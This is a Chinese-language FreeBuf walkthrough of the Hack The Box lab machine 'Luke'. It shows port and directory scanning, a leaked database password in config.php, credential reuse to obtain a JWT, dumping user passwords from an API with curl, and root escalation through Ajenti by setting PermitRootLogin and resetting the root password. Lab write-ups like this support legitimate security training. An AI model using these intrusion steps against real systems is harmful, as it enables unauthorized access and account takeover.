freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试 | HTB-Luke实战
2020-03-31 10:55:57
所属地 河北省

v2-29a2c0fc3c187e2191f0747884d3cc1f_1440

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用任何人不得将其用于非法用途以及盈利等目的否则后果自行承担来源红日安全

渗透测试 | HTB-OneTwoSeven实战

0 (1).jpeg

—————— —————— —————

信息收集

打开10.10.10.137 发现就⼀个静态⻚⾯⼀般我习惯先看⼀下源码发现是⼀个静态⻚⾯⽤了

Bootstrap 4

端口测试

  • 21/tcp ftp

  • 22/tcp ssh

  • 80/tcp http

  • 3000/tcp ppp

  • 8000/tcp http-alt

1. 10.10.10.137:8000 ⼀个Ajenti登陆⻚⾯

2. 10.10.10.137:3000返回

{"success":false,"message":"Auth token is not supplied"}

目录遍历

习惯⽤dirsearch.py 分别对80、3000进⾏⽬录遍历

80端⼝发现

[17:51:04403 - 220B - /.ht_wsr.txt
[17:51:04403 - 222B - /.htaccess-dev
[17:51:04403 - 224B - /.htaccess-local
[17:51:04403 - 213B - /.hta
[17:51:04403 - 224B - /.htaccess-marco
[17:51:04403 - 223B - /.htaccess.bak1
[17:51:04403 - 222B - /.htaccess.BAK
[17:51:04403 - 222B - /.htaccess.old
[17:51:05403 - 221B - /.htaccessOLD
[17:51:05403 - 223B - /.htaccess.orig[17:51:05403 - 223B - /.htaccess_orig
[17:51:05403 - 225B - /.htaccess.sample
[17:51:05403 - 222B - /.htaccess.txt
[17:51:05403 - 221B - /.htaccess_sc
[17:51:05403 - 221B - /.htaccessBAK
[17:51:05403 - 224B - /.htaccess_extra
[17:51:05403 - 223B - /.htaccess.save
[17:51:05403 - 222B - /.htpasswd-old
[17:51:05403 - 219B - /.htaccess~
[17:51:05403 - 219B - /.htpasswds
[17:51:05403 - 223B - /.htpasswd_test
[17:51:05403 - 222B - /.htaccessOLD2
[17:51:05403 - 217B - /.htgroup
[17:51:06403 - 217B - /.htusers
[17:53:16200 - 202B - /config.php
[17:53:25301 - 232B - /css -> http://10.10[17:54:02] 200 - 1KB - /gulpfile.js
[17:54:16200 - 3KB - /index.html
[17:54:24301 - 231B - /js -> http://10.10.1[17:54:30] 200 - 1KB - /LICENSE
[17:54:36200 - 2KB - /login.php
[17:54:43401 - 381B - /management
[17:54:43401 - 381B - /management/
[17:54:46301 - 235B - /member -> http://10[17:54:46] 200 - 216B - /member/
[17:55:06200 - 1KB - /package.json
[17:55:35200 - 4KB - /README.md

其中 /management 和 login.php 也是⼀个登陆⻚⾯⽽ /config.php 包括了mysql账号密码

$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg';
$db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or
die("Connect failed: %s\n". $conn -> error);

3000端⼝发现

[22:30:18] Starting:
[22:34:38200 - 13B - /login
[22:34:38200 - 13B - /Login
[22:34:40200 - 13B - /login/
[22:35:42503 - 0B - /pmyadmin/
[22:37:02200 - 56B - /users
[22:37:03200 - 56B - /users/admin
[22:37:03200 - 56B - /users/其中 /login 返回 "please auth" , users 也是返回 {"success":false,"message":"Auth token
is not supplied"
}

整合信息

三个登陆⻚⾯

10.10.10.137:8000、10.10.10.137/login.php、10.10.10.137/management

⼀个mysql账号密码root/Zk6heYCyv6ZE9Xcg

10.10.10.137:3000返回信息

{"success":false,"message":"Auth token is not supplied"}

10.10.10.137:3000/login返回

"please auth"

具体分析

突破⼝在

在 "Auth token is not supplied"

Google⼀下发现是jwt认证失败的⼀个返回信息因此推测应该构造认证信息post到

10.10.10.137:3000然后获取到⽤户凭证接着⽤这个⽤户凭证去请求

10.10.10.137:3000/users。

这⾥post的⽤户信息⼤概就是上⾯的mysql账户密码因为只有这⼀个可以⽤了⽽且这个账户信息尝试

登陆在⼏个登陆⻚⾯以及mysql服务端均没有成功。

使⽤curl

curl -s -X POST -H 'Accept: application/json' -H 'Content-Type:
application/json' --data '{"usename":"admin","password":"Zk6heYCyv6ZE9Xcg"}'
http://10.10.10.137:3000/logi

回显信息

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token r in JSON at position 11<br> &nbsp;
&nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse
(/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp;
&nbsp;at /nodeapp/node_modules/body-parser/lib/read.js:121:18<br> &nbsp;
&nbsp;at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)<br>
&nbsp; &nbsp;at done (/nodeapp/node_modules/raw-body/index.js:213:7)<br>
&nbsp; &nbsp;at IncomingMessage.onEnd (/nodeapp/node_modules/rawbody/index.js:273:7)<br> &nbsp; &nbsp;at IncomingMessage.emit
(events.js:202:15)<br> &nbsp; &nbsp;at endReadableNT
(_stream_readable.js:1132:12)<br> &nbsp; &nbsp;at processTicksAndRejections
(internal/process/next_tick.js:76:17)</pre>
</body>
</htm

不知道是什么原因估计是curl哪⾥构造错了但是可以确定的是思路是对的换⽤postman发送json

请求

image.pngimage.png

获取到admin的

token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY
3NjY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU

⽤这个token请求/users和/users/{user}

curl -H 'Accept: application/json' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY3N
jY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU"

https://10.10.10.137:3000/users

获取到

[{"ID":"1","name":"Admin","Role":"Superuser"},
{"ID":"2","name":"Derry","Role":"Web Admin"},
{"ID":"3","name":"Yuri","Role":"Beta Tester"},
{"ID":"4","name":"Dory","Role":"Supporter"}]
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}%
{"name":"Yuri","password":"bet@tester87"}%
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}%
{"name":"Dory","password":"5y:!xa=ybfe)/QD"

登陆到http://10.10.10.137/management访问http://10.10.10.137/management/config.json
获取到root/KpMasng6S5EtTy9Z的账户信息最后登陆到

10.10.10.137:8000

image.png

flag:8448343028fadde1e2a1b0a44d01e650

提权

直接⽤root/KpMasng6S5EtTy9Z登陆ssh不⾏说明这只是web的账号。但是ajenti服务是具有root权
限的也说明可以任意操作了。
⽤File Manager翻了⼀下配置⽂件可以直接找到ssh的配置⽂件/etc/sshd_config并且有编辑的权限。
那么修改配置项

PermitRootLogin yes

重新启动ssh服务再试⼀下登陆ssh发现还是不⾏可能root
密码并不是web账户密码这⾥有Users打开并直接重置root密码不需要旧密码重置

image.png

ssh登陆

image.png


banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/


# 渗透测试 # 内网渗透 # 代码审计 # HTB渗透 # HTB-Luke实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞靶场实践
  • 0 文章数
  • 0 关注者